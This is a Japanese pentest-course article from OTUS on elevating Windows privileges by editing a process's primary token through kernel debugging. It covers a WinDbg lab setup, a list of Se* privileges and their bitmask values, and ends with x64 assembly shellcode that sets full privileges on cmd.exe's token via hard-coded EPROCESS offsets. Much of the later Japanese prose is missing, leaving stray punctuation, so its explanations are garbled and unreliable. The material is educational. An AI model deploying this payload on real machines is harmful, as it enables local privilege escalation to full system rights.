OTUSの専門家-アレクサンダーコレスニコフは、「ペンテスト。浸透試験の実践」コースの学生のために特別に書いた有用な記事を私たちと共有しました。
次に、「Windows ADの情報収集、特権のエスカレーション。過去5年間の悪用と脆弱性」というトピックに関する無料のデモレッスンに参加するように、すべての人を招待します。
前回の記事では、エクスプロイトがトークンコピー技術を使用して特権をエスカレートする方法について説明しました。この記事では、トークンを変更するための別の手法を検討し、プライマリトークンに配置されている特権がどのように設定されているかを調べます。
この記事のすべての例は情報提供のみを目的としています。実験を繰り返したい場合は、仮想マシンを使用してください。一部のアクションは作業中のマシンに損傷を与える可能性があります。すべての実験は研究目的でのみ実行されます。
テストベンチのセットアップ
実験には、NATネットワーク上で動作する2台の仮想マシンが適しています。2つは、オペレーティングシステムのカーネルデバッグを実行する他の方法がないためです。また、NATネットワークでは、デバッグシンボルが存在するため、ソースコードなしでデータを検索する方が簡単で高速です。デバッガー設定はインターネットで利用できますが、Windows 10 1909オペレーティングシステムの場合と同様に、その下に数行あります。
1.デバッガーをインストールします。Windowsオペレーティングシステムの場合、Windbgプレビューのみがあります。インストールしてください。
2.ターゲットオペレーティングシステムをデバッグモードに移行します。
システムを再起動します。そして、デバッガーを含む2番目のマシンを開きます。
システムを再起動した後:
Windbg Preview , . . .
Token
, , , Primary Token. , Se* . , , :
SeAssignPrimaryToken
SeAudit
SeBackup
SeChangeNotify
SeCreateToken
SeDebug
SeLoadDriver
SeLockMemory
SeManageVolume
SeRestore
SeSecurity
SeTakeOwnership
, , . , “Security Descriptor”:
System. — dx @$cursession.Processes[4].KernelObject.Token
EXFAST_REF , , :
System:
, “Security Descriptor” , . :
, , :
- , BSOD. Windows , Windows 10 1607. , BSOD, “Security Descriptor” . , :
BSOD? , . , :
1. , :
2. cmd.exe
:
3. . :
, . - , - Integrity Levels , .
? . , : 0x1
BSOD , , . , , . , - — 0x100000
.
:
SeDebugPrivilege - 0x100000
SeAuditPrivilege - 0x200000
SeSystemEnvironmentPrivilege - 0x400000
SeCreatePermanentPrivilege - 0x010000
SeSystemtimePrivilege - 0x001000
SeSecurityPrivilege - 0x000100
SeLockMemoryPrivilege - 0x000010
, 6 . , , shellcode, , , . SEPTOKEN_PRIVILEGES _SEPTOKENPRIVILEGES+0x8.
— System , , .
netstat -ab
, . ? . , Windows , System , :
, , payload :
[BITS 64]
start:
mov r9, [gs:0x188] ;KPROCESS/currentThread
mov r9, [r9+0x220] ;EPROCESS KTHREAD
mov r8, [r9+0x3e8] ;InheritedFromUniqueProcessId (cmd.exe PID)
mov rax, r9
loop1:
mov rax, [rax + 0x2f0]
sub rax, 0x2f0 ;KPROCESS
cmp [rax + 0x2e8],r8 ; ProcessId
jne loop1
mov rcx, rax ; PID EPROCESS
add rcx, 0x360
mov rax, [rcx]
and rax, 0xFFFFFFFFFFFFFFF0
mov r8, 0x1e73deff20 ;System
mov [rax+0x48],r8 ;
ret